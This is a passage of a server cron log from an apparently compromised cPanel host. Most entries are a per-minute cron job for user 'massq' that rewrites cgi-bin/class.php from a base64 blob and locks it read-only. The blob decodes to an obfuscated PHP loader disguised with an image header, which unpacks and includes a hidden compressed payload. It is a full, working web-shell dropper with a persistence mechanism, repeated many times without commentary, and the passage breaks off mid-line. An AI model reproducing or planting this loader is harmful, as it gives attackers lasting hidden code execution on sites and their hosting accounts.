Apr  6 10:55:01 server CROND[17687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:55:01 server CROND[17689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:55:01 server CROND[17688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:56:01 server CROND[17818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:57:01 server CROND[17997]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 10:57:01 server CROND[17998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:58:01 server CROND[18067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:59:01 server CROND[18148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:00:01 server CROND[18232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:00:01 server CROND[18233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:00:01 server CROND[18235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:00:01 server CROND[18234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:01:01 server CROND[18367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:01:01 server CROND[18368]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 11:01:01 server run-parts(/etc/cron.hourly)[18368]: starting 0anacron
Apr  6 11:01:01 server run-parts(/etc/cron.hourly)[18380]: finished 0anacron
Apr  6 11:02:01 server CROND[18535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:03:01 server CROND[18608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:04:01 server CROND[18690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:05:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 11:05:01 server CROND[18756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:05:01 server CROND[18758]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 11:05:01 server CROND[18757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:05:01 server CROND[18759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:06:01 server CROND[18949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:07:01 server CROND[19134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:08:01 server CROND[19258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg